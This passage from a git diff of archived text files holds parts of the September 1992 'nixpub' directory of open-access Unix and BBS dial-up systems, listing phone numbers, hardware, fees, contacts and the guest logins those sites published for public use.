Belczyk) + +05/92 509-536-4062 visual Spokane WA 12/24/96/19 24 + 80386-40, SCO UNIX v3.2.4; PEP on 535-9615; Shell Access, E-Mail/USENET; + No fee; Access to CPU-intensive applications, such as the compilers, + require a contribution of $60/year minimum; Contributions are naturally + accepted in any amounts. + Contact Scott Sanbeg + +09/91 510-223-9768^ barbage El Sobrante CA 3/12/24/48 24 + 80386/33DX, Waffle 1.63; 400 MB HD online; MNP5/V4.2 modem; FNC InfoNet + BBS sponsored by Forest NeoCom Corporation; No fee, no daily download + limit, no DL/UL ratio; Supporting all computers; Access to 3 GB offline + files free on request plus graphics files, special interest forums, free + classified ads, information exchange, and more; Immediate first time + access including downloads--follow on-screen login procedure and please, + read instructions! Contact: George Forest, an580@cleveland.freenet.edu + +12/91 510-294-8591 woodowl Livermore CA 12/24/19.2 24 + Xenix/386 3.2.1. Waffle BBS, Usenet Access; Reasonable users welcome. + No fee; For more information contact: william@woodowl.UUCP, + lll-winken!chumley!woodowl!william, or call and just sign up on system. + +12/91 510-530-9682 bdt Oakland CA 12/24/96 24 + Sun 4, SunOS 4.1; BBS access to Usenet news, E-mail (Internet and + UUCP). PEP/V.32 on 510-530-6915. First time users login: bbs. + Unix, Atari ST, and IBM-PC sources and PD/shareware. No fee for + bbs. Newsfeeds and UUCP access by special arrangement. + Contact: David Beckemeyer david@bdt.com + +09/91 510-623-8652^ jack Fremont CA 3/12/24/96 24 + Sun 4/470 running Sun O/S 4.1.1 offers downloading of netnews archives + and all uploaded software. Each user can log in as bbs or as the account + which they create for themselves. This is a free Public Access Unix + System that is part of a network of 4 machines. The primary phone line + is on a rotary to three other lines. + +06/91 512-346-2339^ bigtex Austin TX 96 24 + SysVr3.2 i386, anonymous shell, no fee, anonymous uucp ONLY, + Telebit 9600/PEP; Mail links available. Carries GNU software. + anon uucp login: nuucp NO PASSWD, file list /usr3/index + anon shell login: guest NO PASSWD, chroot'd to /usr3 + Contact: james@bigtex.cactus.org + +10/89 513-779-8209 cinnet Cincinnati OH 12/24/96 24 + 80386, ISC 386/ix 2.02, Telebit access, 1 line; $7.50/Month; shell + access, Usenet access; news feeds available; + login: newact password: new user to register for shell access + +01/92 514-435-8896 ichlibix Blainville Quebec CAN 3/12/24/96 24 + 80386, ISC 2.2.1; 2400 bps modem on dial in, HST DS on -2650; BBS + program is Ubbs (RemoteAccess Clone) - named Soft Stuff, no shell; + No fees required but are recommended for more access ($25 - $75/yr); + Files for both dos and UNIX + a lot of binaries for ISC; Possibility + to send/receive UUCP mail from the BBS + +01/90 517-487-3356 lunapark E. Lansing MI 12/24 24 + Compaq 386/20 SCO-UNIX 3.2, lunabbs bulletin board & conferencing + system, no fee, login: bbs password: lunabbs. Primarily UNIX software + with focus on TeX and Postscript, also some ATARI-ST and IBM-PC stuff + 2400/1200 --> 8 N 1 + Contact: ...!{mailrus,uunet}!frith!lunapark!larry + +02/92 517-789-5175 anubis Jackson MI 3/12 24 + Equip ???, OS ???; 1200 baud dial-in (planning on 19.2kbps); + UUCP connections to the world, PicoSpan BBS software, Teleconferencing, + C programming compiler, 3 public dial-in lines, Online games; + Contact: Matthew Rupert (root@anubis.mi.org). + +12/88 518-346-8033 sixhub upstate NY 3/12/24 24 + PC Designs GV386. hub machine of the upstate NY UNIX users group (*IX) + two line reserved for incoming, bbs no fee, news & email fee $15/year + Smorgasboard of BBS systems, UNaXcess and XBBS online, + Citadel BBS now in production. Contact: davidsen@sixhub.uucp. + +07/91 602-293-3726 coyote Tucson AZ 3/12/24/96 24 + FTK-386, ISC 386/ix 2.0.2; Waffle BBS, devoted to embedded systems + programming and u-controller development software; E-Mail/USENET; + UUCP and limited USENET feeds available; + Contact: E.J. McKernan (ejm@datalog.com). + bbs: ogin: bbs (NO PWD) + uucp: ogin: nuucp (NO PWD) + +04/92 602-649-9099^ telesys Mesa AZ 12/24/96 24 + SCO Xenix 386; Telebit T-3000 V.32bis/PEP; Major Usenet Feed Source; + TeleSys-II Unix Based BBS (No Fee) login: bbs; Software Archive On-line; + Shell Accounts available for access to USENET, email and full news feeds. + Contact: asuvax!telesys!kreed or kreed@tnet.com + uucp-anon: nuucp NOPWD + +12/90 602-941-2005^ xroads Phoenix AZ 12/24 24 + Motorola VME1121, UNIX 5.2, Crossroads BBS, Fee $30/yr + $.50/.25 (call) + prime (evenings)/non-prime, USENET news, multi-chat, online games, + movie reviews, adventure games, dos unix/xenix files for dload, multi lines + +01/92 603-429-1735 mv Litchfield NH 12/24/96 24 + 80386; ISC UNIX; MV is on the Internet (mv.MV.COM, host 192.80.84.1); + mail connections and news feeds via uucp; domain registrations; + membership in "domain park" MV.COM; domain forwarding; archives of + news and mail software for various platforms; mailing lists; + area topics; $7/month for 1 hour/month; $20/month for 3 hours/month + $2/hour thereafter; blocks of 30 hours for $20 month - First month free + up to 20 hours. + Voice: 603-429-2223; USMail: MV Communications Inc, PO Box 4963 + Manchester NH 03108; Or dial the modem and login as "info" or "rates". + +11/90 604-576-1214 mindlink Vancouver BC 3/12/24/96 24 + 80386 w/ SCO Xenix; 14 lines, 660 Meg disk space, TB+ & 9600 HST available; + No shell; Fee of $45/year for BBS access; E-Mail, USENET, hundreds of megs + of file downloads; Operating since 1986. + +08/89 605-348-2738 loft386 Rapid City SD 3/12/24/96 24 + 80386 SYS V/386 Rel 3.2, Usenet mail/news via UUNET, UUNET archive access. + NO BBS! News feeds avaliable. 400 meg hd. Fees: $10/month or $25/quarter. + Call (605) 343-8760 and talk to Doug Ingraham to arrange an account or email + uunet!loft386!dpi + +04/91 606-263-5106 lunatix Lexington KY 3/12/24 24 + 386 SCO UNIX, 3 lines. 1 line free, other two lines $5/mo; Shell access + for all users; Menu driven for novices; Full News feed, Email, Games, + C Compilers; News/mail feeds available + Contact: Robert Sexton (robert@lunatix.UUCP) + +01/92 607-273-3233 banana Ithaca NY 3/12/24/96 24 + Xenix/386 running Waffle BBS, no shell access. 300M disk. Main number + is a USR HST Dual Standard with HST, V.32bis and slower modulations; + -6881 is second line in hunt group with a 2400 baud modem. Chat and + multiuser talk. Local message base, as well as more or less complete + Usenet news feed and mail; one hop from the Internet. I'm willing to + provide newsfeeds locally. No interesting files :) No charge, but I + do have mail validation for Usenet posting and sending email. + Contact: John Hood (jhood@banana.ithaca.ny.us) + +05/92 608-273-2657 madnix Madison WI 3/12/24 24 + 486, MST UNIX SysV/386, shell, no fee required, USENET news, mail, login: bbs + Contact: ray@madnix.uucp + +09/90 612-473-2295^ pnet51 Minneapolis MN 3/12/24 24 + Equip ?, Xenix, multi-line, no fee, some Usenet news, email, multi-threaded + conferencing, login: pnet id: new, PC Pursuitable + UUCP: {rosevax, crash}!orbit!pnet51!admin + +05/92 613-237-0792 latour Ottawa ON 3/12/24 24 + Sun 3/60, SunOS 4.1, 8meg Ram, 660 meg of disk; No BBS; Unix + access rather than usenet. Login as guest for a shell (send mail to + postmaster asking for an account); Anon uucp is login as 'anonuucp' + (/bin/rmail is allowed), Grab ~uucp/README[.Z] for an ls-lR. + +02/92 613-837-3029 micor Orleans ON 3/12/24/96 24 + 386/25, 600 Meg, Xenix 2.3.2, USENET, email, 2 phone lines + fee required to get more than 15 mins/day of login and to access + additional phone lines. + Available: bbs accounts (waffle) or shell accounts. + Contact: michel@micor.ocunix.on.ca or michel@micor.uucp, Michel Cormier. + +06/91 614-868-9980^ bluemoon Reynoldsburg OH 3/12/24/96 24 + 80486, ISC 386/ix 3.2.2; Multiple lines, HST Dual on -9980 & -9982, + Telebit T2500 on -9984; 2gb disk space; Bluemoon BBS -- supporting UNIX, + graphics, and general interest; Full USENET, gated Fidonet conferences, + E-Mail; + Contact: grant@bluemoon.uucp (Grant DeLorean). + +05/92 615-288-3957 medsys Kingsport TN 12/24/96/19 24 + 386 SCO-UNIX 3.2, XBBS, no fee, limit 90 min. + Telebit PEP, USENET, 600 meg., login: bbs password: bbs + anon uucp --> medsys Any ACU (speed) 16152883957 ogin: nuucp + Request /u/xbbs/unix/BBSLIST.Z for files listing + Contact: laverne@medsys (LaVerne E. Olney) + +04/91 615-896-8716 raider Murfreesboro TN 12/24/96 24 + Featuring GDXBBS. BBS accounts are free, and available to the general + public with unlimited capabilities first call. We also provide mail, + shell, and USENET links. One hop from uunet. Complete source and binary + archives available. Annual member fees for shell and uucp accounts are + $40, with a six month sub for $25. 615-896-8716 is Intel 9600 EX modem + using V.32/42/42bis. Line 2, 615-896-7905 1200/2400 only. For more info + contact root@raider.raidernet.com, or log into bbs and leave mail. + +12/91 616-457-1964 wybbs Jenison MI 3/12/24/96 24 + 386 - SCO-XENIX 2.3.2, two lines, XBBS for new users, mail in for shell + access, usenet news, 150 meg storage, Telebit. Interests: ham radio, xenix + AKA: Consultants Connection Contact: danielw@wyn386.mi.org + Alternate phone #: 616-457-9909 (max 2400 baud). Anonymous UUCP available. + +06/91 617-471-9675^ fcsys Quincy MA 3/12/24/96 24 + 80386, AT&T SysV/386 3.2.2, v.32/v.42bis modem; No fee for shell access; + Partial news feed; Mail feeds available; Login as "bbs" to apply for an + account. + Anon-UUCP -- login: nuucp word: nuucp + +12/90 617-739-9753^ world Brookline MA 3/12/24/96 24 + Sun 4/280, SunOS 4.0.3; Shell, USENET, E-Mail, UUCP, IRC, Alternet + connection to the Internet, and home of the Open Book Initiative + (text project), multiple lines; fees: $5/mo + $2/hr or $20/20hrs per month; + Contact: geb@world.std.com + +01/90 619-259-7757 pnet12 Del Mar CA 3/12/24/96 24 + Xenix, multi-line, no fee, full Usenet, email, multithreaded conferencing + login: pnet id: new + Contact: ...!uunet!serene!pnet12!rfarris + +10/91 619-569-4072^ pnet01 El Cajon CA 3/12/24 24 + BSD Unix, 3 lines, login: pnet id: new, some USENET, email, conferencing + Home of P-Net software, mail to crash!bblue or pnet01!bblue for info. + Contributions requested + Unix accounts available for regulars, PC Pursuit access 2/88. + +12/89 703-281-7997^ grebyn Vienna VA 3/12/24 24 + Vax/Ultrix. $25/month. GNU EMACS, USENET, PC/BLUE archives, Telebit used + for uucp only, archives, Ada repository, comp.sources.(misc,unix,games) + archives, net.sources archives, 3 C compilers, Ada compiler, 1.2GB disk, + multiple lines + +05/92 703-803-0391^ tnc Fairfax Station VA 3/12/24/96 24 + Zenith Z-386, SCO Xenix; 120 MB HDD; 12 lines, tb+ for UUCP only; + "The Next Challenge"; Usenet, mail, Unique (sysop written) multi-user + space game; No Shell; Free and user supported --> No fee for light mail + and usenet; Subscription required for game and unlimited mail and usenet + at $25 / year; + Contact: Tom Buchsbaum (tom@tnc.UUCP or uunet!tnc!tom). + +12/91 708-833-8126^ vpnet Villa Park IL 12/24/96 24 + 386 Clone - Interactive Unix R2.2 (3.2), Akcs linked bbs FREE, inclu- + ding many selected Usenet groups. Shells are available for a minimum + $60/year contribution; under 19, $30. Includes access to our FULL + Usenet feed. Well connected. Four lines including three Trailblazers; + Contact: lisbon@vpnet.chi.il.us, Gerry Swetsky (708)833-8122 (human). + +12/91 708-983-5147 wa9aek Lisle IL 12/24/96 24 + 80386, UNIX V.3.2.3; XBBS for HAM radio enthusiasts; 1.5 Gigabytes online; + Multiple lines, dial in - USR HST DS V.32bis/42bis, 8138 - Tb T2500; + Login as bbs (8-N-1). + +04/92 713-568-0480^ taronga Houston TX 3/12/24/96/ 24 + 80386, System Vr3.2; 190meg disk, "Taronga Park" - custom BBS, shell + access; Trailblazer Plus on 2nd line -1032; On-line games (Public + Caves); No fee; E-Mail, USENET. + +10/89 713-668-7176^ nuchat Houston TX 3/12/24/96 24 + i386; USENET, Mail, Shell Access; 300M On-line; Trailbazer Used; + No fee. + +09/91 713-684-5900^ sugar Houston TX 3/12/24/96 24 + 386/AT (2) networked - Intel V/386, 10 lines, usenet, news, downloads + Homegrown BBS software, Trailblazer+ access, currently no charges. + +02/92 714-278-0862 alchemy Corona CA 12/24/96/19 24 + 33 Mhz 80386, 8MB, 330MB Disk, SCO Xenix v2.3.4, Telebit T2500; Alchemy + Software Designs Technial Support BBS; USENET news (partial feed); + threaded conference system; data library/archive (mainly Unix sources + but room for expansion) with X, Y and Zmodem batch transfers; No fees; + New users login as "guest" and apply for account at main BBS menu. + Contact: John Donahue {gumby, bbs, root}@alchemy.UUCP + +01/91 714-635-2863^ dhw68k Anaheim CA 12/24/96 24 + Unistride 2.1; Trailblazer access; 2nd line -1915; No fee; USENET News; + /bin/sh or /bin/csh available + +12/90 714-821-9671^ alphacm Cypress CA 12/24/96 24 + 386 - SCO-XENIX, no fee, Home of XBBS, 90 minute per login, 4 lines, + Trailblazer pluses in use. + uucp-anon: ogin: nuucp NO PASSWD + +12/90 714-842-5851^ conexch Santa Ana CA 3/12/24 24 + 386 - SCO Xenix - Free Unix guest login and PC-DOS bbs login, one + hour inital time limit, USENET news, shell access granted on request & + $25/quarter donation. Anon uucp: ogin: nuucp NO PASSWD. List of + available Unix files resides in /usr3/public/FILES. + +01/91 714-894-2246^ stanton Irvine CA 3/12/24 24 + 80386-25, SCO Xenix-386, 320mb disk, 2400/1200/300 MNP supported; E-Mail & + USENET; Fixed fee $20/yr; X11R4 archive and many packages ported to Xenix + 386; C development system (XENIX/MSDOS), PROCALC 1-2-3 clone, FOXBASE+; + anon uucp: ogin: nuucp, no word + +01/92 717-657-4997 compnect Harrisburg PA 3/12/24/96 24 + PD386/33, AT&T SYSV 3.2.2.3; The Data Factory BBS; Multiple lines, + PEP on dial-in and -4992; No fee, restricted access to adult areas, + extensive UNIX and MS-DOS libraries, some USENET (read-only), no shell; + login: tdf. + Contact: dave@compnect.uucp (...!uunet!wa3wbu!compnect!dave) + +04/92 718-832-1525^ panix New York City NY 12/24/96/19 24 + Mac2fx, 8MB ram, 1.1GB on 3 fast disks. OS: A/UX 2.0.1, a modern merged + SVR2/BSD unix. Shell of your choice: sh, ksh, csh, tcsh. 12 dialins: 6 + 2400, 2 telebit, 4 V.32bis (separate rotary). We are an internet site + capable of FTP, telnet, finger, etc. with any other site on the internet. + Full UseNet feed, nn and rn for newsreaders, ELM or Mail for mail reading. + Vi, Emacs, other editors. Compile your own sources if you like. $10/mn or + $100/yr, NO hourly charge. Internet access $40 once plus $9/month add- + itional. Other lines are -1526, -1527, -1568, -0143, and -0199 (V.32bis & + telebit numbers on request). UUCP connections (with news) available to + users, and subdomains if you want. + Contact: Alexis Rosen (alexis@panix.com or uunet!panix!alexis), + 212-877-4854, or Jim Baumbach (jsb@panix.com), 718-965-3768. + +12/89 719-632-4111 oldcolo Colo Spgs CO 12/24/96 24 + 386 - SCO-XENIX frontend, 2 CT Miniframes backend, e-mail + conferencing, databases, Naplps Graphics, USENET news. 7 lines + 8N1, 2400 on 2906, USR Dual 9600 on 2658. Self registering + for limited free access (political, policy, marketplace) + Subscriptions $10, 15, 18 mo for full use. Dave Hughes SYSOP. + +01/92 801-566-6283^ bitsko Salt Lake City UT 3/12/24/96 24 + 80486, UHC UNIX SVR4; Bitsko's Bar & Grill BBS; Telebit; No fee; + Unidel; Usenet news; Internet mail; Citadel-net gateway and local + feeds available; Source system for Unidel, a Citadel-like newsreader + and UNIX BBS, and uccico, a UNIX-side Citadel-net gateway. + Contact: ken@bitsko.slc.ut.us (Ken MacLeod) + +05/92 804-627-7841 wyvern Norfolk VA 12/24/96 24 + 486/33, SVR4; 3 v.32 lines in a hunt sequence; Shell access, BBS + coming soon; Mail and news feeds available; 530MB disk space with lots + of games, programming languages, news; We're fed by a major Internet site + (ODU), and can include you in our domain park. + Contact: tmanos@wyvern.twuug.com (uunet!wyvern!tmanos), or login as guest, + password guest, to register for full access. + +04/92 812-333-0450 sir-alan Bloomington IN 12/24/19.2/ 24 + SCO UNIX 3.2; no fee; TB+ on 333-0450 (300-19.2K); archive site for + comp.sources.[games,misc,sun,unix,x], some alt.sources, XENIX(68K/286/386) + uucp-anon: ogin: nuucp password: anon-uucp + uucp-anon directory: /u/pdsrc, /u/pubdir, /u/uunet, help in /u/pubdir/HELP + Contact: miikes@iuvax.cs.indiana.edu (812-855-3974 days 812-333-6564 eves) + +04/92 812-421-8523 aquila Evansville IN 3/12/24 24 + 80386, SCO Unix; Second line is '1963; Games, mail, and Unix + classes-by-mail; System has a "BBS Mall" of varied topics -- several + BBSs under a single system. + Anonymous uucp/mail: nuucp . Contact: info@aquila.uucp + +04/92 814-353-0566 cpumagic Bellefonte PA 12/24/96/14 24 + 80386, ESIX 4.0.3a (SVR4); Dual Standard (v.32/v.32bis/HST); + The Centre Programmers Unit BBS, custom BBS software (Micro Magic); + Files available: UNIX, GNU, X, ESIX, MSDOS tools and libraries; + No fee but up/download ratios enforced. + Contact: Mike Loewen at mloewen@cpumagic.scol.pa.us + or ...psuvax1!cpumagic!mloewen + +05/92 818-287-5115^ abode El Monte CA 24/96 24 + XENIX 2.3.3; 2400-9600 Baud (Telebit T1000 PEP); Fee of $40 per year; + Newsuers login as 'guest'; Users get access to shell account, email, + usenet news, games, etc. + Contact: eric@abode.ttank.com (elroy.jpl.nasa.gov!wvus!abode!eric) + +12/91 818-793-9108 atrium Pasadena CA 3/12/24 24 + Xenix/386 2.3.3; International pen-pal serice; login: mm + Contact: sysop@atrium.ucm.org; multi-lines + +10/91 900-468-7727 uunet Falls Church VA 3/12/24/96 24 + Sequent S81, Dynix 3.0.17(9); UUNET Communication Services; No Shell; + Anonymous UUCP, fee $0.40/min -- billed by the telephone company, + login: uucp (no passwd); Multiple lines, PEP and V.32 available; + grab "uunet!~/help for more info" ... + Full internet mail and USENET access via subscriber UUCP accounts. + Contact: info@uunet.uu.net or call [voice] 703-876-5050. + +07/91 904-456-2003 amaranth Pensacola FL 12/24/96 24 + ISC Unix V/386 2.2.1 TB+ on dialin. XBBS no fee. limited NEWS, E-mail + For more info: Jon Spelbring jsspelb@amaranth.UUCP + +09/91 906-228-4399 lopez Marquette MI 12/24 24 + 80386, SCO Xenix 2.3.4; Running STARBASE II Software. Great White North + UPLink, Inc. (Non Profit) 100+ local rooms, PLUS USENET, Multi Channel Chat, + 5 ports, $30 yr, flat rate for full access to net news, mail. + Upper Michigan's ORIGINAL BBS (since 1983) + Contact: Gary Bourgois ...rutgers!sharkey!lopez!flash (flash@lopez.UUCP) + +06/91 908-297-8713^ kb2ear Kendall Park NJ 3/12/24/96 24 + 80286, SCO Xenix; No Fee; Shell Access, Usenet alt,rec,nj,sci,comp + (readnews,vnews,rn,etc), Email (mush,elm,mailx); Mail and News feeds + Available; Anonuucp login as "nuucp"; + Contact: kb2ear@kb2ear.ampr.org (Scott R. Weis), 1-908-297-8713 + +08/91 916-649-0161^ sactoh0 Sacramento CA 12/24/96 24 + 3B2/310 SYVR3.2; SAC_UNIX, sactoh0.SAC.CA.US; $2/month; 3 lines, + v.32 on 722-6519, TB+ on 649-0161, 2400/1200 baud on 722-5068; + USENET, E-Mail, some games; login: new + Contact: root@sactoh0.SAC.CA.US or ..ames!pacbell!sactoh0!root + +01/91 919-248-1177^ rock RTP NC 3/12/24/96 24 + SparcStation 1+, SunOS 4.1; Fee: $200 installation, $25/month. Full + internet access (FTP, TELNET, etc). Netnews (includes vmsnet, u3b, alt) + and E-Mail. No limit on time, disk quotas enforced. 56Kbps and T1 + internet connections also available. Phone number depends on location + within North Carolina (PC Pursuit also available). + Contact: sellers@concert.net, dorcas@concert.net. + +12/91 919-493-7111^ wolves Durham NC 3/12/24 24 + AMS 386/20 UNIX SVR3.2, XBBS(modified) no fees, no shell. + Subset newsfeeds available. Anonymous UUCP access to archives for + comp.sources.{misc,unix,x,reviewed}, alt.sources, comp.binaries.{mac, + ibm.pc} (recent stuff in all plus some "classics") also CNews,RN,TRN. + anon uucp login: uanon (no password) get /news/Archives/toc.Z first! + Telebit-1600 on 2nd line for high speed access on newsfeeds. + Contact: wolves!ggw + +02/92 +33-1-40-35-23-49 gna Paris FR 12/12/96 24 + Microlec 2000, Unisoft 1.3; (T2500/PEP/V32/2400/1200) +33-1-40-35-23-49, + (Multimodem/V32/2400/1200) +33-1-40-35-23-31, (Telsat1240/1200) + +33-1-40-35-15-67; ~250 Meg -- comp.sources.{games,unix,misc,x}, + alt (~1200 files), rfc, uumap, techreports, x11r4 patches, images, + spl (miscelaneous), latest GNU stuff, grab ~/news for more info; + Mail/News feeds (no fees) for everyone. + Contact: postmaster@gna.axis-design.fr or postmaster@gna.tfd.com. + Anonymous uucp archive (gin: nuucp, no passwd); + +12/91 +39-541-27858 xtc Rimini (Fo) IT 3/12/24/96 24 + 386/20, 380Meg, ISC 386ix; Menu driven BBS, no shell. tb+ on first line, + +39-541-27135 has USRobotics HST. USENET News and Fidonet and sublink. + Fidonet address 2:332/307, 2:332/308. No fees required but no downloads on + the first call -- comp.sources.* archive + lots of MSDOS programs & GIFs + available. Multiuser chat, games, etc. + +09/91 +41-61-8115492 ixgch Kaiseraugst CH 3/12/24 24 + 80386, SCO Xenix 2.3.3; Shell is the PubSh (Public Shell), user- + friendly UI; Network services like Internet mail/news, Swiss BBS-List + Service etc... Internet mail/news UUCP feed-links available; + HS modem coming very soon! + Contact: postmaster@ixgch.imp.com (...!impch!ixgch!postmaster) + +12/91 +44-81-317-2222 dircon London UK 3/12/24 24 + UNIX SysV 3.2; The Direct Connection multi-user on-line service; + Local and international/USENET conferencing, choice of newsreaders, + keyword searchable download areas, industry newswires, electronic mail, + FAX gateway, real-time tele-conferencing, personal file areas; + 10 pounds sterling per month (5 pounds registration); No connect time + or character charges; For demonstration/sign-up login as 'demo'; + Call (voice): +44-81-317 0100 for more information. + EMAIL Contact: info@dircon.co.uk [...ukc!dircon!info] + +11/90 +44-81-863-6646 ibmpcug Middlesex UK 3/12/24/96 24 + 386 PC/AT, SCO Xenix 2.3.2 -- IBM-PC User Group; Multiple lines, + line 2: 861 5522, 300-19.2k + V42bix + V32; Fee: ~50 pounds sterling, + unlimited use. + Contact: dylan@ibmpcug.co.uk, Voice +44 81 863 1191 + +06/91 +49-30-691-95-20 scuzzy Berlin DE 3/12/24/96 24 + 80386/33, ISC 2.2.1; HST 14400/v.42bis on dial-in line; Large library + of source code including GNU, TeX, and X11R4 -- will distribute tapes for + Europe [coordinated with the FSF] (grab /src/TAPES for the order form); + Login as 'guest' for x/y/z-modem and kermit transfers; Anonymous UUCP + available, grab /src/README for initial info; + Contact: src@scuzzy.in-berlin.de (Heiko Blume) + anon uucp: ogin: nuucp word: nuucp + +01/92 +49-40-494867 isys-hh Hamburg DE 3/12/24/96/ 24 + Intel 80486/33/1050 - SCO Unix 3.2V2.0 (ODT 1.1.0n); + Shells: msh, sh, csh, ksh; nn for newsreaders, ELM for mail + Contact: mike@isys-hh.hanse.de (Michael Loth) + +06/91 +49-8106-34593 gold Baldham DE 3/12/24/96 24 + 33MHz i486 EISA, PEP/V.32 available on first line, HST available on + +49-8106-34692; Unix 5 Release 4.0.2, Waffle bbs, Usenet, German Subnet, + Megabytes of Unix Sources; No shell; BBS is free for Mail and Usenet; + Anonymous UUCP available, grab ~nuucp/gold.files.Z for more info, (uucp + supports e, f, and g protocols); + Contact: cs@gold.sub.org + anon uucp: ogin: nuucp (no password) + +11/91 +61-2-837-1183 kralizec Sydney AU 24 12/24/96 + Sun 3/50, SunOS 4.0; 470mb disk; V.32/MNP-5 modem; Dialup access to + Internet E-mail & USENET; mail-based FTP. 80 - 100 Mb software online + for download. Full C-shell access to all members. No joining fee. Usage + fee $50 for 50 hours connect time. Voice number +61-2-837-1397. + Home of IXgate - Internet to Fidonet gateway - also Fido 713/602. + Contact: nick@kralizec.zeta.org.au + +12/91 +64-4-389-5478 actrix Wellington NZ 3/12/24/96 24 + Zenith 386/33MHz w/ ISC 386/ix 2.02; Actrix Information Exchange -- + New Zealand's first Public Access UNIX. 750 Mb disk; 3 lines, USR + Courier HST (T2500 due December 1990, X25 in '91). Fee: NZ$54 p.a. - + offers heavily modified XBBS with USEnet and Fidonet, e-mail (elm), + hundreds of file areas divided into sections for UNIX, MS-DOS, Amiga, + Atari, Apple //, Macintosh, CP/M etc. Shell w/ many extras available + via `Enhanced subscription'. Planned to join APC (PeaceNet/EcoNet); + Contact: paul@actrix.gen.nz (Paul Gillingwater) PO Box 11-410, Wgtn, NZ + +12/91 +64-4-564-2317 cavebbs Wellington NZ 12/24 24 + AT&T 3B2/400 w/SysV 3.2; The Cave MegaBBS System. 144MB disk; 4 lines. + Free access line 1, NZD$40 donation requested for others. KCBBS s/w + featuring Usenet, Fidonet 3:771/130.0 and conferencing, email and + links with other local systems. The Cave runs concurrently using + KiwiBoard s/w on two lines +64-4-643-429 12/24/96 V32MNP5 on a 386/25 + to provide local messaging and 290MB of PC/Amiga/GIF/sound files; + Contact: clear@cavebbs.gen.nz (Charlie Lear), Box 2009 Wellington, NZ + +02/91 +64-9-817-3725 kcbbs Auckland NZ 12/24/96 24 + SMC 486/25MHz w/ ESIX 5.3.2 Rec C; Kappa Crucis Unix BBS. Fee: NONE + 1140 Mb disk; 7 lines, T2500, 3*v32MP4/5, 2*2400MNP3/5, Radio modem + tnc/Packet VHF. KCBBS s/w, non-Unix user interface (no user Unix shell + access) with USEnet, Fidonet, GTnet, online weatherfax/gifs, Email, + 100's file areas, off-line readers, multi-user chat, Astronomy/Science + Fidonet 3:771/90, login as kc. Contact: dgd@kcbbs.gen.nz (David Dix) + +--------------------------------------------------------------------------- +NOTE: ^ means the site is reachable using PC Pursuit. +=========================================================================== +The nixpub listings are kept as current as possible. However, you use this +data at your own risk and cost -- all standard disclaimers apply!!! +Any additions, deletions, or corrections should be sent to phil@ls.com. +------ + Lists are available via any of the following: + o anonymous uucp from jabber. + +1 215 348 9727 [Telebit access] + login: nuucp NO PWD [no rmail permitted] + this list: /usr/spool/uucppublic/nixpub + short list: /usr/spool/uucppublic/nixpub.short + o "*NIX Depot" BBS on jabber. + o USENET, regular posts to: + comp.misc + alt.bbs + o the nixpub electronic mailing list. + to be included or deleted from this distribution, + send mail to nixpub-list-request@ls.com. + o anonymous ftp from GVL.Unisys.COM [128.126.220.104] + under ~/pub/nixpub/{long,short} + o archive server from cs.widener.edu. + mail to archive-server@cs.widener.edu + Subject: or body of + send nixpub long + or + send nixpub short + or + send nixpub long short + or even + index nixpub +=========================================================================== + COMPAQ, IBM, PC Pursuit, [SCO] XENIX, UNIX, etc. are trademarks of the + respective companies. +-- +Phil Eschallier P.O. Box 110 + Inet: phil@ls.com Doylestown, PA 18901 + UUCP: ...!{dsinc|gvls1|widener}!jabber!phil +1 215 348 9721 + + + + +-- +INTERNET: scott@ryptyde.cts.com | "Nuke the homeless gay +ARPANET: ryptyde!scott@nosc.mil | baby whales for Jesus!" +UUCP: {crash nosc}!ryptyde!scott | - bumper sticker + + diff --git a/textfiles.com/internet/nixpub.txt b/textfiles.com/internet/nixpub.txt new file mode 100644 index 00000000..91dcdf89 --- /dev/null +++ b/textfiles.com/internet/nixpub.txt @@ -0,0 +1,989 @@ + nixpub long listing + Open Access UNIX (*NIX) Sites [both Fee and No Fee] + [ September 1, 1992 ] + +Systems listed (130) + [ a2i aa7bq abode actrix admiral agora alchemy ] + [ alphacm amaranth anomaly anubis aquila atrium banana ] + [ bdt bigtex bitsko bluemoon btr bucket cavebbs ] + [ cellar chinet cinnet cns conexch coyote cpumagic ] + [ crash cruzio cyber ddsw1 dhw68k digex dircon ] + [ disk dorsaidm edsi eklektik eskimo gagme gator ] + [ genesis gna gold gorn grebyn grex halcyon ] + [ hcs helpex highlite holonet ibmpcug ichlibix infocom ] + [ isys-hh ixgch jabber jack jwt kb2ear kcbbs ] + [ kralizec latour loft386 lopez lunapark lunatix m-net ] + [ m2xenix madnix magpie marob medsys micor mindlink ] + [ mixcom mv ncoast nervous netcom netlink nuchat ] + [ nucleus nyx oaknet oldcolo pallas panix pnet51 ] + [ polari portal quack quake r-node raider rock ] + [ sactoh0 schunix scuzzy sdf sir-alan sixhub stanton ] + [ starnet sugar szebra telesys telly tmsoft tnc ] + [ tronsbox tutor unixland uonline uunet uuwest vicstoy ] + [ vpnet wa9aek wariat well wet woodowl world ] + [ wybbs wyvern xroads zorch ] + +Updated +Last Telephone # Sys-name Location Baud Hours +----- ------------ -------- ----------- ------- ----- + +12/91 201-759-8450^ tronsbox Belleville NJ 3/12/24/96 24 + Generic 386, UNIX 3.2; Provides shell for some users, USENET, E-Mail + (feeds available) at $15 a month flat; + Multiple line (-8568 300 - 2400 baud). + +04/92 203-661-1279 admiral Greenwich CT 3/12/24/96 24 + SCO Unix 3.2.2. (HST/V32) 203-661-2873, (PEP/V32) 203-661-1279, (V32) + 203-661-0450, (MNP6) 203-661-2967. Magpie BBS for local conversation + and Waffle for Internet mail/Usenet news. Interactive chat and games. + BBS name is "The Grid." Willing to give newsfeeds and mail access. + Shell (tcsh, ksh avail) accounts available at no charge. Direct connect + to Internet site (Yale) via UUCP. 230 megs disk space. For more information + contact uunet!admiral!doug (Doug Fields) or fields-doug@cs.yale.edu. + +09/91 206-328-4944^ polari Seattle WA 12 24 + Equip ???; 8-lines, Trailblazer on 206-328-1468; $50/year (flat rate); + Multi-user games, chat, full USENET. + Contact: bruceki%polari.uucp@sumax.seattleu.edu + +05/91 206-367-3837^ eskimo Seattle WA 3/12/24 24 + Tandy 6000 Xenix - Everett Tel 206-742-1150; 10 lines; First 2 weeks + free, $48/year or $6/month thereafter; Shell access, C, Fortran, Pascal, + unique conference, smart mail, UseNet News, messages, upload/download, + other apps; + Western Washington BBS List, 60 games online, free uucp connections. + +09/92 206-382-6245^ halcyon Seattle WA 3/12/24/96 24 + ULTRIX 4.1, (PEP/V.32) 206-382-6245; monthly and annual fee schedules + available. 56kBaud commercial Internet link to the T-3 backbone; NNTP + news feed. Waffle bbs available. Irc server, archie and gopher clients, + hytelnet, spop; dialup or telnet: login as 'bbs' and provide account + information. For more information, contact: info@remote.halcyon.com, + or 